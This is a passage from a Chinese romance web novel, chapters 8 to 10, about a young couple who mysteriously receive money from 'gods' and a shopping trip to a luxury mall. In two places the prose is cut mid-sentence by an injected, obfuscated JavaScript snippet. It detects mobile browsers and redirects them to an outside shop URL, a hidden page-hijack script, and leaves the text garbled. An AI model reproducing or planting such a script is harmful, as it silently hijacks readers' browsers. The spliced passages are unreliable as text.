是有一条短信,来自银行,发信时间7:00,内容如下:“您账户XXXX于6月21日实时转入人民币10000.00,付方:无尽星辉有限公司,备注:奖金。” “他们还是家公司?”季桃惊叫,好像这是整件事中最不可思议之处。 “我搜搜看。”邹巡抓起自己的手机,过一会儿他说,“没有这家公司。大概是神明搞的吧,总不能直接说:‘您账户于某月某日从天而降人民币一万元,付方:神明。’——他们要和咱们凡人世界交互,肯定得有套办法,按咱们的规矩来。” “真的是神明啊,账户里钱也多了。”她记得卡里本来剩五千,现在余额显示为一万五千一百零五。 “你看看,有没有明细记录?”邹巡问。 “噢。”季桃忙去看。慌忙中好半天没找着地方,最后终于看到了,没有明细。 不过,她又看见前些天刚刚转给表妹一万。以后有钱了,可以多帮帮姑姑一家,她模模糊糊地想。但邹巡会不会问起来?季桃忽然有点着慌,悄悄将屏幕向一边转了转。 邹巡并不朝她的手机看,听她说没有,他说:“那你充到微信试试?” 成功充过去了,而且,这笔充值有明细。 邹巡便说:“看来神明告诉咱们的都是真的,他说不会留下记录,不必操心交税,那咱们就什么都不用管了。” 季桃惊奇地瞪着他:“你怎么这么淡定,你就一点儿都不惊讶,不奇怪?” “宇宙这么大,什么都可能发生。”邹巡说,“几个神明有什么好奇怪,我还见过更稀罕的事。” “什么?” “我遇上你。” “咱们现在是说正经事。”季桃提起枕头砸他。 “就是正经说呀。”邹巡把枕头和季桃一起抱个满怀,“咱们第一次吃饭,去吃烤鱼,你不是给我讲了一个故事吗,你忘了?” 当然没忘。季桃记得很清楚,当时邹巡被辣得够呛,她去买了两杯奶茶,他边喝茶边吃鱼,还是不太管用。虽然最后他们确实把一大盘鱼吃得干干净净,可是中途他被辣得不停吸气,话都没法说了。 她看把一个大帅哥搞得一把鼻涕一把眼泪狼狈不堪,心里着实不过意,说:“我给你讲个故事吧,高中时候读的,挺好玩的一个小故事。” “好。”邹巡说。那天他不知说了多少个好,她说什么他都说好,不过这一回他是硬撑着保持斯文,尽量不露出红红的舌头尖。 季桃怪想看他发红的眼眶和舌头尖,但她故意挪开目光,偶尔才朝他瞟一眼。她开始讲。 “有两个女孩,美国姑娘,我忘了名字,就叫Amy和Bella吧。她们是同事,也是天天一起吃饭的好朋友,她们都喜欢吃不健康食品,含好多糖呀、奶油呀那种,但是两个人身材特别苗条,皮肤闪闪发亮……” 8. 百万美元 “每到周末,Amy和Bella打扮得漂漂亮亮,在第五大道散步,看商店的橱窗。这个时候,她们要做最喜欢的游戏,叫做:假如你有一百万美元你做的第一件事是什么? “对了,她们两个都挺穷,公司底层员工,周薪还不到二十美元。 “为了让游戏合乎情理并且好玩,她们定了很多规则,比如,这一百万美元是某个富翁留下的遗产,遗嘱指定继承人必须把每一分钱都花在自己身上,要是谁不小心给家人买了一间公寓,就出局了。 “她们和很多人都玩过这个游戏,但是别人不好好玩,总要拿假想的钱做奇怪的事,破坏规则,她们不愿意理那些人,最后,就只有她们两个还在认真玩。 “有一次,Amy说,如果有人给我留下一百万美元,我要先去买一件狐皮大衣。 “Bella生气了,因为狐皮大衣太普通,她觉得Amy是在敷衍,好几天没理她,直到Amy承认错误,说自己反悔了,要买貂皮大衣,两个人才和好。 “一天,她们又去第五大道,一边散步,一边玩游戏。Amy问:如果你得到一百万美元,你要做的第一件事是什么? “我要去买一件貂皮大衣。Bella说。 “但她只是机械地回答问题。那天天太热了,貂皮根本不吸引人,甚至都不敢在脑子里细想。 “正在这时,她们看见旁边的橱窗里摆着一条美丽的珍珠项链。Bella说,我收回刚才的话,我要做的第一件事,是去买一条珍珠项链。 “她们趴在橱窗上,猜项链卖多少钱,一个说,恐怕得一千块吧。另一个摇头,你看,搭扣上有一块宝石,就凭这块宝石,估计得一万块。 “别猜了,咱们进去问问不就知道了? “你敢进去? “那有什么不敢?走! “两个人鼓足勇气进到店里,装作一副冷冰冰,不在乎的样子。店员对她们很客气,回答她们说,橱窗里那串项链要二十五万美元。 “她们道了谢,离开商店。走出好远,一个说,二十五万,你敢信?另一个说,二十五万,一百万一下子就花没了四分之一! “谁都没心情再玩游戏,两人低着头,无精打采地走路。突然,Bella挺直背,她说,假如有一个特别特别有钱的人,他想为你做点事,他留给你一千万美元,现在,拿到这笔钱,你要做的第一件事是什么?” 故事在Bella的话音中结束。季桃抬眼看邹巡,仿佛是要问他这个问题。 邹巡回看着她,说:“一个有点儿伤心的故事。” 季桃心里微微一震,脸上还是笑着。 邹巡接着问:“你喜欢那两个女孩,特别是Bella,是吧?” 这个故事季桃不是第一次对人讲。大二大三那两年,约她吃饭的人络绎不绝,她一般不会答应,但有的人能找到共同的朋友攒个局,喊上她,本着长长见识的心态,空闲的时候,她答应过几次。 不知哪回,好像是吃牛排,实在太无聊,忽地想到这个故事,随口讲了出来。从那之后,她常在饭桌上讲它,因为听者反应不同,似乎变成了一个好玩的测试。 一个样子挺精明的博士说:“不能指望别人,还是要靠奋斗,当然,这不是你们小姑娘的事,男人得有责任心。几年前我一穷二白,现在房子也买了。我手头这个项目做成了,不多说吧,起码还赚五十万。” 一个在律所实习的小律师说:“挺有意思,她们的规则是不能给家人花钱,看着自私,其实人家老外脑子才明白——财产就该分割清楚,不然她拿到钱第二天,家里人就来抢光了,管你的呢。现在咱们国内争家产的事情也越来越多了,应该如此嘛,亲兄弟,明算账,不服,官司上见。” 一个学长说:“那项链估计也就值一万吧,商店里定价全是虚高——第五大街,光租门面就多少钱?傻子才去买。”你倒是聪明啊,聪明得格外无趣。 还有些人根本没留意一百万和一千万的区别,问她:“这就完了,什么意思?” 大部分人则是把故事当暗示,听完,并不发表看法,只用略微微妙的眼神看她。以后当然不会再约了,因为他们知道,他们“养不起”。 其实一开始,她并没特别目的,只是为了席间有说有笑,为了主动发起话题,而不是只听那几个男的自吹自擂。可故事变为测试后,季桃不禁思索,自己期待的答案究竟是什么。她还期盼,有人能把那个她尚未知晓的答案给她。 失望的次数太多了,后来,她既不讲故事,也不参加有生人的聚会。她深深理解Amy和Bella为何不愿同别人玩——参与者很重要,不合拍的话,游戏索然无味。 期间唯一的例外是窦意鸣。窦意鸣不算太无聊,她甚至愿意和他一起去高级馆子,听他吹牛。不过故事到底没讲,她能猜出窦意鸣的反应——“珍珠项链?没问题,我带你去挑一串。” 直到那日,隔着一盘烤鱼,她讲给邹巡听。这回不是为了测试——或者说即便真是测试,也不是为了测验邹巡,而是为了让邹巡看明白她。 现在,就看清我。她用自己的目光迎上邹巡的目光。他的眼眶泛红,眼神清亮而坚毅。这个学计算机的男生,脸上既有学生的诚挚,又有成熟男人的洞达,他不会看不出她的浅薄和虚荣,不过这就是她,世上形形色色的人之一。本来就是萍水相逢,大不了饭后道个拜拜,从此你西我东,各分南北。 甚至有种孤绝,怎么回事? 她脸上带着笑,心扑通扑通跳着。 邹巡问她是不是喜欢Amy和Bella。 对,喜欢。多么可爱的两个人啊。 她们是太平凡太普通的女孩子,年轻,或许长得挺漂亮,除此外,再没有别的优势了。她们大概从小镇来,学会了打字和速记,便在大都会有了一席之地,一仰头,能够看见云端露出的“机会”。 她们的小脑袋瓜里可能并没想过要怎样奋斗,凭借自己的努力飞黄腾达。可她们也没做任何伤天害理的事,只不过爱做梦而已。 两个平凡渺小的姑娘,梦想一件貂皮,一根项链,那些在橱窗里闪闪发亮的东西,她们在最昂贵的大街上昂首阔步,把一个梦做得栩栩如生。 虽然她们的梦也是渺小的,怯怯的,在铜墙铁壁的资本世界面前不值一哂。 怕什么,最后她们不是学会了吗?——梦个更大的。 “我喜欢,我觉得她们是可爱的女孩。”她认真回答邹巡。 “是,挺可爱。”邹巡也认真对她说,“听你讲这个故事,我都有点儿希望,有一天,她们真的得着一笔钱,一千万美元或更多,只有一个附加条件,要她们把每一分都花在自己身上。” 他们两个一起笑起来。 后来回想,大概就是有了那一刻,她对邹巡才会从crush变成真正的喜欢。 . 季桃望着邹巡,邹巡也望着她。她的目光拨得他心一颤。 面前这双眼睛清澈而不见底,起初,他奇怪怎么有人会生着这样的眼睛。她的目光是清凌凌的,一道寒光,睫毛密得毛茸茸,一根一根都卷翘着。当她抬起毛茸茸的睫毛,用清澈、深不见底的双目注视他,他的心总是这样一颤,希望自己能够满足她的所有愿望,像陪她吃烤鱼,像听她讲故事,像现在。他想要搂住她,不同的是,现在他真的搂住了。他确实知道,她娇柔的身躯在他臂中是柔若无骨的,一转瞬却又变得充满韧劲儿。真奇怪,偏偏是这样的眼睛,这样的身体,这样的心。他的心一颤。 邹巡说:“你看,哪一种梦都有可能成真。” 季桃最后一次讲那个故事,就是对邹巡,之后,她差不多把故事抛至脑后了。和邹巡在一起,也像梦,和故事里女孩的梦截然不同,但谁能想得到,两个梦会这样重合在一起呢。 一股巨大的喜悦朝季桃袭来。 就像故事里的姑娘,假如得到一千万——不,哪怕是一百万——她们所能感到的喜悦一样。 邹巡撩开落在她脸上一绺不听话的头发,抚了抚她的眼睛。 季桃惊奇地睁大眼,像两颗灿星闪着光,对他笑了。 . 今天是周六,不用上班,不过也不能一直在床上躺着,抱够了,两个人爬起来。邹巡问:“今天想干什么?” 季桃不大好意思地说:”我还是觉得……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924022|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这个钱到底能不能真的花?要不然,我等下去买杯奶茶试一下?” 邹巡问:“原来你微信里有多少钱?” “两千多吧。”季桃又看了一眼,“现在是一万两千六百多。” “你就是在奶茶店呆一天,喝饱喝撑,怎么知道用的是这个钱,还是你原来的?” “对呀,我忘了,还是你逻辑清楚。”季桃难为情地笑,又怪他,“谁让你动不动给我转钱。” “那算不上……那是让你买点零食,咱们今天去买几件衣服,去恒隆怎么样?” “恒隆……太贵了,一万不够吧。” “不够就刷我的信用卡。”邹巡满不在乎地说。看来他对神明深信不疑。 “恒隆里面东西真的很贵的。就像那个故事一样,她们以为项链最多一万,其实要二十五万。”都知道贵,但未必知道售价到底多少,那些东西价钱高昂到少写个零也高。——邹巡一个程序员,哪里懂得大牌? 程序员挺懂。“没事,你又不买珠宝,就几件衣服,不是定制,挂在店里的能有多贵。放心买,我的卡额度高,刷不爆。” “那也得还呀。银行就会给人提额度,要是真讲人情,怎么不把无息还款期限宽延几个月。”季桃还是觉得不太妥当,又问,“你设那么高额度干嘛?” “我想着和你出去玩。”邹巡说,“本来昨天要问你,被神明一打岔,忘了。你想不想去法国?意大利?你可以给我讲讲那里的建筑。怎么样,咱们去。” 出去玩当然开心了,可是——“哪有时间,得上班呀。神明怎么不奖励我们一些时间?” “你还真贪心。”邹巡大笑,“总会有空的。你最想去哪儿?”季桃不答,邹巡又说,“巴塞罗那,我哪儿都想和你去,特别是巴塞罗那。反正咱们迟早要出门玩,就当为这个目的买几件衣服。走吧,恒隆。” “真去恒隆啊。你不知道,人家说那里的销售,眼神就能把你剥层皮。” “是吗,哪样?我没见过能剥人皮的眼睛。” 因为你是个帅哥,季桃心道。嘴上说:“这样——” 她学了一个掂量、藐视的锐利眼神,同时撇撇不屑的嘴唇。邹巡一把揽过她,在两只眼睛上亲了两口:“嘴巴先别动。”又在嘴巴弯曲出弧形的最高点亲了亲,“你最可爱,不光剥皮,还蚀骨,比她们厉害多了。别理那些人,又不是她一家开店,谁态度不好,咱们去别处买,就能把她气死。” “十点才开门呢。” “咱们到那儿就十点了,正好不用等。” “才开门就进去,显得太着急了吧。” “那有什么关系,他们开门不就是为了营业,咱们几点方便几点去。” 季桃再找不出反对理由,便准备出发。 邹巡手机却响了,他皱皱眉头,接起来。不知那边说什么,邹巡听一会儿,不耐烦丢出几个字:“你去就行,我没空。” 他挂了电话。 “怎么了?”季桃问。 “没什么,公司的一点事。” “要你去加班?”打工人加班都是寻常,有一段,邹巡加班也很凶的,不过最近好多了,基本能保证朝九晚五,只偶尔在晚上或周末加班。 “不要紧,不管它。”邹巡说。 季桃知道,他的工作手机已经关了,只有几个人能打这个电话找他,肯定是比较急的事。 “你还是去公司吧,别因为……别‘飘了’。——假如没碰见神明,肯定要去吧?”季桃说,“平常心。” “我说怎么一直想蹦两下,原来是飘了。”邹巡笑道,又看了季桃一会儿,从眼睛深处笑出来,“好,平常心平常心。” “就是没法刷信用卡了。你先用亲密付吧,不过上限只有十万。”邹巡抱歉地说。 “十万,让我买什么?”季桃吃一惊,她根本没想着要去花十万块钱。 “买衣服,买什么都行,你不是说那里东西贵。反正你只管挑,先买够十万,其余的大不了明天咱们再去一趟。” 邹巡坚持劝季桃去恒隆,尽管她还是有点心虚。“放心,万一真有问题,你给我打电话,我来想办法。”邹巡说。 9. 布加迪 “小顾开车过来,我跟他说,先送你。” 小顾是邹巡公司同事,因为正好顺路,开车上下班时经常捎上邹巡。昨天演出就是请他去看。季桃见过小顾一两回,知道名字,但没说上几句话,实在不熟得很。 她说:“别麻烦人家了,和你们公司又不是一个方向,我自己叫个车就行。” “这算什么麻烦,我和他关系好。” “那接你就够了,不用加上我。” “放心,不碍事。我已经和他说了。”邹巡在手机上点着。 季桃赶快去换衣服。她挑出一件浅粉色廓形衬衫和一条灰色高腰铅笔裙,这身是前不久刚买,预备上班时穿的,帅气、刚柔并济;衬衫本是中袖,袖口卷了卷,卷成短袖,又增加了几分俏皮。最关键的是,这套衣服能显出身材——铅笔裙岂是人人都能穿得漂亮的?——她要一下子就把眼睛尖利的店员镇住。季桃对镜笑了笑,觉得自己不像是逛商场,简直成了孤身闯龙潭。 既然这样,就再加一件“护身符”吧,季桃又取出邹巡送她的一根粉红桃心项链戴上。吊坠藏在衬衫领中,若隐若现,现的时候,便是从浅粉中闪出一点深粉红。 季桃自认穿衣打扮不算慢,可她和邹巡下楼,走到小区门口,小顾都已经到了,站在一辆银闪闪的轿车前。 季桃忙走上去说:“真是太麻烦你了,多谢。” “不麻烦不麻烦,不用谢,不敢不敢。”小顾连连说,弯腰拉开车门,“请上车吧。” 季桃更觉不好意思,邹巡倒满不在乎,刚坐下就掀开笔记本回邮件。 季桃有点好笑:居然担心邹巡被冲昏头脑,他才不会。他是真正的“平常心”,天大地大不如工作大,早把神明丢至脑后了。 看他的样子,就知道是真有事忙着处理,不然的话,他向来对人礼貌,不至于连声“谢谢”都顾不上说。不过他们同事间关系好,大概不在意这些小节,但自己可不能把小顾当个司机使,季桃这样想着,小顾上车系安全带时,又对他说:“实在太不过意了,天这么热,让你绕好大一圈。” “没有没有,真没事。”小顾恳切道,又问,“这个温度怎么样?” 季桃感觉冷气开得刚刚好,不过这是对她和邹巡来说,他们两个都穿着短袖,小顾却穿件长袖衬衫,可能会热,季桃从后视镜看小顾脸确实是红红的,她说:“可以再调大些,没关系的。” “对不起对不起。”小顾急忙去调整。 邹巡伸手摸了摸季桃,说:“不热,这个温度正好。” 季桃抽出胳膊:“你问小顾热不热。” “我不热我不热,”小顾急忙说,“我一点儿都不热。季小姐觉得合适就行。” 季桃心想这个小顾也太绅士了,又觉得他人很好,挺亲切,可以说话随便些,便问:“你换车了?这车真漂亮。” 小顾赶快笑着说:“没没没,这是公司的车,我负责接待,需要的时候就让我顺便开着。” 季桃在座椅上轻轻摸摸。她没见过这种车型,猜测是品牌刚出的高端款,但小顾又不像是那种开豪车打工体验生活的人,季桃差点以为自己搞错了。 原来眼力还是在的,季桃高兴地说:“果然好车从外形就能看出来。你们科技公司真有品味,这车看着又动感又稳重,而且很少见这样的银白色,好像还掺了一丁点点天蓝,有种既复古又未来的感觉。就和那种拍得好的科幻电影差不多——无垠的宇宙中,一艘飞船徐徐漂来。还没看后面的故事呢,你的心已经激动地抽紧了。” “季小姐形容得真好,真是这么样。我也觉得车好,可就是不会说。”小顾赞叹道。 季桃向后靠靠:“坐着也特别舒服。” “对对对。”小顾连声赞同,“而且还低调。” “这还低调啊。”季桃笑起来。可能和那些常见的霸总车比,确实低调些吧。 小顾嘿嘿陪着笑几声,问:“季小姐喜欢什么车?” 季桃想了想:“我喜欢宝马。——我不懂车,我就是觉得那个标志好看。” “对对,好看,车也不错。”小顾附和。 季桃突然想起,假如神明的钱果真能用,过不了多久他们就能买辆车了,邹巡不爱坐地铁,可以开车上下班,省得总蹭别人的车,麻烦人家。 她用胳膊轻轻一碰邹巡:“怎么样,等过几天我们买辆车,你喜不喜欢宝马?” “不太喜欢。” “那你喜欢什么车?” “布加迪。”邹巡一边敲击键盘,一边简单地说。 这不废话嘛,谁不喜欢啊。 确实问得多余。第一次见面那晚送她回宿舍后,邹巡又发来好友添加申请,头像图片是一辆布加迪。 低俗——要不是已经见过面,有他的模样打底,她肯定会撇撇嘴。当然了,车不低俗,拿车做头像低俗。不过,总比拿自己的车做头像好,那才是俗气又老土。 “我是邹巡。”几个字,再加上头像,她的心不禁一颤——这个人,这辆车,唔,犯规了。 季桃嘴角一撇:“中东土豪品位。” 邹巡看她一眼,眼里隐隐含笑:“就问你,有人开布加迪邀你兜风,你答不答应?” “不答应,我胆子小,怕开快。” “不超过道路限速呢?” 中东男人不行,其他的么,“那我就勉为其难吧。” 邹巡嘴角挑起一抹笑意。季桃想:你怎么知道不会有这么个人?到时看你笑不笑得出来。 她又去和小顾说话:“你们今天也有接待任务?”邹巡从来都穿休闲装去上班,小顾却穿得正式。 “啊,对。” “各种岗位都要加班啊,你们老板可真黑心。” “不是不是。”小顾连忙解释,“都是为了大家,老板很好的。” 季桃不禁笑出声:“我从来没见过学生不背地里骂导师,员工不偷偷骂老板。——记录仪不会开着录音吧,你们老板会查?”她捂住嘴。 “没开,不查。”邹巡插嘴说。 也对,老板才没那个闲心。 邹巡眼睛还盯着电脑,又问:“怎么没见过?我就从来不骂导师。” 真的,他真没说过导师和老板的坏话。 “所以说你没劲嘛。”季桃不以为然,“同事就是要在一起骂骂老板,有了敌忾心,凝聚力才强,比任何企业文化都管用。” “我们不讲任何企业文化。”邹巡说。 季桃问小顾:“你们大家肯定都觉得邹巡特别装吧?” “没有没有,大家都觉得邹总特别好。大家也觉得老板好,发自内心的。”小顾笑着挠挠头,“等季小姐将来见到我们老板,肯定也会这样想。” 季桃说:“你怎么这么客气啊,你叫我小季,或者季桃都行。不然我就喊你顾老师了。” “不敢不敢,当不起当不起,绝对当不起,季小姐可千万别。”小顾一迭声恳求,那语气仿佛要不是手里还握着方向盘,肯定要转过头来,举手告饶。 邹巡向季桃说:“他就是那个样,你不用理他,让他专心开车。”他低头继续工作,说一句,“你不能开稳点?我差点发错邮件。” 小顾立即不作声了。 季桃有点替小顾不平,他开车很稳的。不过邹巡在看电脑,可能会觉得摇晃。他也太不客气了,不能仗着关系好,仗着小顾老实,就欺负人家。 小顾脸还是红红的,季桃心里生出几分纳罕:这个小顾,好像特别老实,说他是搞研发的还差不多,居然能干接待。 小顾不说话,邹巡又忙着工作,只听见敲键盘的轻微声响,车里安安静静的,似乎有点尴尬。小顾大概也是这么想,放出音乐。 熟悉的旋律流泻在车厢中,季桃差点儿就跟着哼唱。 这首歌我在酒吧唱过嘛。季桃把到了口边的话咽回去。在酒吧驻唱的事情她没对邹巡讲过,其实说了也没什么,但是,他这种理科直男,大概总会觉得在酒吧唱歌有点“风尘”有点“放浪”吧。而且,她是因为报酬比打其它零工更高才选择唱歌的,倒并非那时候特别缺生活费,但她想多买些漂亮衣服,她比别人更虚荣,这些话用不着全部告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924023|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邹巡。 “你喜欢王菲的歌?”她问小顾。 “我不喜欢,不是不是,我喜欢,好听好听,不过我不懂音乐。” 季桃越发觉得小顾有趣了,听个流行歌曲嘛,还需要懂音乐? 下一首还是粤语歌,粤语歌好像自带一种怀旧味,在这辆“复古又未来”的车里听,竟然莫名合适。 “你挺会选歌的。”她对小顾说。 “不不,不是我,大老板爱听粤语歌。” 原来这车还接过大老板,小顾是投其所好呀,季桃恍然大悟:“我知道了。我说呢,科技公司叫‘伏线’是什么意思?故作什么高深,原来是从歌里来的。‘还明白每段旋律的伏线’——”她唱出声,“你看,就是这个伏线。” “真的是。”小顾佩服地说。 “我记得有种说法,说人在十二三岁、刚上初中的时候,开始形成自己的审美,那时候喜欢的歌,喜欢的书,喜欢的风格,会一辈子都喜欢,我觉得挺有道理的。你们老板可能就是初中时候听过这些歌吧,这几首好像都是00年以前的,我算算——你们老板差不多四十出头?还挺年轻的嘛。” 小顾嘿嘿笑了两声,又说:“季小姐唱歌好听,又会表演,真是多才多艺。” “差点儿忘了,还没谢谢你昨天去看演出。” “不敢不敢,应该我感谢才对。我没看过话剧,但是你们演得实在太好了,专业水准。要我自己,哪有机会看这么好的演出。” 邹巡抬头看季桃一眼,眼睛里笑了笑。 忽地,季桃觉得,演出好像是很久很久之前的事,甚至连神明都远了。即便神明,在宇宙中也是微不足道的。碰到神明,这件事有意思,不是神明,——是他们俩,季桃和邹巡,是她和邹巡两个人的故事。故事会慢慢展开……季桃的心在一瞬间快活地抽紧,感到一阵突如其来的、纯粹的开心。 或许也有音乐的缘故。这些歌是她初中时爱听的,确切说,是妈妈爱听,她才一起听,并爱上了。妈妈去澳大利亚时把播放器留给她,她每天都听,每当听到那些歌曲,她就好像又回到了刚上初中的时候。 季桃真想时间永远停留在那个时候,可她又想要到现在。还有过去的另一些时候,还有将来……音乐使时空错乱了,乐声连起了过去、现在和将来,乐声让她快要流泪了。 她说:“其实我唱歌不太好,也就会唱那么几首歌。我给你们胡乱唱一段啊。” 小顾把音响关上了,季桃清清嗓子,一开口,唱的是“穷开心”。 这歌没什么旋律,就是节奏有趣,歌词有趣。 唱了几句,见邹巡低着头,看着电脑,嘴巴扭着,显然是憋不住笑了。 季桃看着邹巡,神气活现道:“您是西山挖过煤,还是东山见过鬼?”邹巡把笔记本一合,丢到旁边去了。 季桃越发得意,声音更大:“为了不哭大声笑,为了不烦大声呸。小小的人儿啊,风生水起啊,天天就爱穷开心啊。……” 唱完后,小顾说:“唱得太好了。要不是开车,我要给季小姐鼓掌。” “谢谢,我听见了。”季桃低低头,做个鞠躬的样子,环顾四周,一本正经对着假想的许多听众说,“谢谢,谢谢大家啊。” 邹巡直起腰,摸摸她的后脑勺:“你真是——” “这样你们今天加班就会有个好心情嘛。” “也祝季小姐购物好心情。”小顾笑着说。 车子靠边停下。 邹巡说:“回去时告诉我,我给你叫车。” 走到商场门口,季桃回过头又挥了挥手,邹巡才上车。 好漂亮的车,季桃看它启动,加速,驶离,阳光映在车身上,它真像一艘飞船。 一辆出租车停在刚才它停下的位置,车上下来两个女生,一个说:“他才给十万,够买什么呀?反正一会儿我再给他打电话,要是不让买,我就不原谅他了。” 这话要让季桃听见,肯定会引她偷笑,但也难免让人有点恐慌,难道十万真的不够呀。 不过,她已经走进旋转门了。 10. 学妹 精品购物广场的空气都和别处不一样:清冽、明亮、芬芳。 季桃觉得自己是进入了书页里——小时候看的铜版纸印刷的时尚杂志。妈妈每个月都买,积了搬都搬不动的一厚摞,如果她保证洗干净手,就可以坐在灯下,一页一页慢慢翻。那时她刚开始发育,有时偷偷反锁起卫生间的门,站在板凳上,观察镜子中的身体,羞涩又骄傲地发现自己有模特那样削薄的肩背、平坦的腹部、笔直的长腿。 那时她以为,长大了就能像模特那样打扮,过上杂志中描述的生活:清冽、明亮、芬芳。 现在她已经长大了,怎么反而怯了呢? 要是有几个朋友在就好了。以前,季桃和同学一起来过,不过只在彩妆柜台前停留。买几样小东西,将挺括的小纸袋提在手里,就好像拥有了在这儿尽情呼吸的权利。她们从奢侈品牌的精品店前走过去——目不斜视地走过去,不让人看出有半点感兴趣的样子。 Amy和Bella僵硬地走进珠宝店,询问项链的价格。店员朝她们鞠躬,夸赞她们的眼光:一条极其美丽的项链,二位愿意我拿出来看看? 不。Bella一口回绝。我们碰巧路过,随便看看。 季桃想起这段,笑了。她决定绝不犯这种错误。想看就看,想不买就不买,买卖自由嘛。 不过,她依然选择了彩妆柜台作为缓冲。 季桃最喜欢口红——谁不喜欢那些金色、银色、钢琴黑、细细长长、闪闪发亮的小管子——一气挑了七八支,接着,又把日常用的面霜面膜买了一套,总共七千多了。 给邹巡发条消息:能用! 邹巡回:好。快杀去买衣服吧,检验一下我的财力。 好像她是常胜将军,而他保障了粮草充足,与有荣焉。季桃在心里大笑,她就欣赏邹巡这种真情实感乐意女生花钱的大方劲儿。 心中喜悦,还没回过神呢,已经在两家奢牌店逛过了一圈。 也不知是不是她喜气洋洋的态度唬住了人,季桃发觉,柜姐的微笑都很亲切,没一个拿白眼珠翻人的。 可她确实还没下定决心要买上一件什么。 不是不喜欢,喜欢的太多了,反而无处下手。她并非按照此刻钱包空空的心态来逛,而是想着一个月后,那时就有三十万了。季桃把三十万在心里盘算了几遍,三十万啊,竟然还是不够花。 她止不住想笑。他们依然还是穷,但是是能够开心的穷。一个月三百万就更好吗,未必吧。建筑设计的时候,不用考虑预算当然很爽,可是买东西连盘算都不盘算,没意思。神明肯定全盘考虑过,觉得现在这个数目最恰当——少了拿不出手,可太多,就该反过来腐蚀人了——不能有负面影响嘛。 细水长流,挺好的。 正想着,走到YSL门口,一扭头,看见橱窗中一条裙子,季桃的呼吸不由加快了。 是件不对称连衣裙,抹胸样式,但一侧有肩袖。整条裙子是几块不同颜色的布料拼接裁剪而成,那一只肩膀是抹明快的鲜黄,其余地方是米白色、浅卡其。看起来清凉、优雅。 季桃想象自己走进一间高级酒吧,微微一侧身,脱下丝质外衣,露出雕刻般的肩膀;所有人都暗暗注意她,可是她谁也不看,坐在远离人群的地方,疏离,清冷。 但不单是清冷,是挑逗的、诱惑的、刺激的清冷。 诱惑谁呢?她在脑海中将酒吧全部客人挑剔了一遍,不行。 除非是邹巡。 可是邹巡不在酒吧里,因为她想不出他穿西装的样子,谁让他穿来穿去都是圆领衫。季桃再一次偷笑:假如是邹巡,无论如何,她清冷不起来吧。 店员上来招呼她,季桃转头一笑:“我想看看那条裙子。” 店员刚从架上取下一件,邹巡打来电话:“还没看到喜欢的?别犹豫了,第一直觉吧。” 季桃一边听电话一边翻了翻吊牌,裙子的价格是三万四千。 店员在旁边,她不好意思问邹巡,第一直觉三万四,要不要买?她说:“还在看呢,要不然等下拍照给你,你帮我看看。” 邹巡轻轻笑:“好啊。” 放下电话,季桃又看架上的其它几件,店员捧来一条薄外衣,殷勤地说:“我们刚上的秋装,可以搭配。穿上试试,发给你朋友看。” 季桃有点踌躇。平常大都在网上买衣服,要么在平价卖场翻拣几十块的T恤衫,懒得和别人抢试衣间,提溜起来,往身上一比划就行。在这种地方,当然得试试,但是试了不买,又不大好,脸上过不去。 季桃再看那条裙子。她尊重设计师,知道创作不易,不至于发出“一块布,凭什么卖三万四”的感慨,但是,三万四,它确实太贵了。 这时,季桃用余光看到,另有顾客进来,她没太在意,倒是轻松了些,至少她不是店员唯一关注对象了。 有人犹犹豫豫唤了声:“学姐?” 季桃转头,是两个女生。其中那个个子高的,这回季桃认识并记住她了。袁楚欣。 喊学姐的是另一位,中等个儿,中等身材,白净的小圆脸,圆圆的、猫儿般的单眼皮眼睛,长得很乖。 季桃尽量不露出疑惑,怎么想不起来这是谁? “季学姐。”对方露出一个大方的微笑,“学姐,我昨天刚看了你演的戏。你还不认识我,我叫廖澍晴,是这几个字。”她打开手机让季桃看。 “廖澍晴,你的名字真好听。” “谢谢。”廖澍晴甜甜地笑开了。有些人的单眼皮眼睛比双眼皮更好看,她就是——她生了一双月亮眼,不笑时是圆月亮,一笑会笑成弯弯月。她的声音也甜甜糯糯,好像刚吃完一盏芋圆红豆冰。“我是从台北转来的交换生,计算机系。大二下学期来的,开学上大四。” “你好。”季桃友好地说,同时也向在旁边板着脸的袁楚欣笑笑。 “我们刚才还说,礼拜六怎么人还这么少,就看见学姐了。”廖澍晴很熟络地说,“真是巧,我也是喜欢这条裙子。”向季桃手里一指。 “你要不要试?” “不试不试,我穿不了,这里太胖。”廖澍晴羞涩地向胸前一比划,拉拉始终没吭一声的袁楚欣,“我是想推荐给她。” 季桃又向袁楚欣望一眼,都有点惊艳了。袁楚欣长得确实漂亮,杏脸桃腮,楚腰一握。现下她只化着淡妆,近处看,五官几乎挑不出缺点,就嘴唇略薄了些,她涂了亮眼的浅樱桃唇釉,反倒显出些微脆弱的样子,真有几分像陈白露了。 也就外表像,上台是另一回事,但,评她是校花,季桃是服的。 不过,袁楚欣一开口,季桃立即想起为什么讨厌她。 “我不喜欢。”袁楚欣鄙夷地看着那条裙子,两片薄薄的嘴唇一扭,干巴巴道,“故作清纯。” 换个时候,季桃会立即还以颜色,但昨天的演出很成功,她是获胜方,理应大度。更重要的是,她心情好,心情太好了,只想笑。 她朝袁楚欣笑笑:“我去试试。” “学姐穿着合适的话,也让我们看看呀。”廖澍晴说。 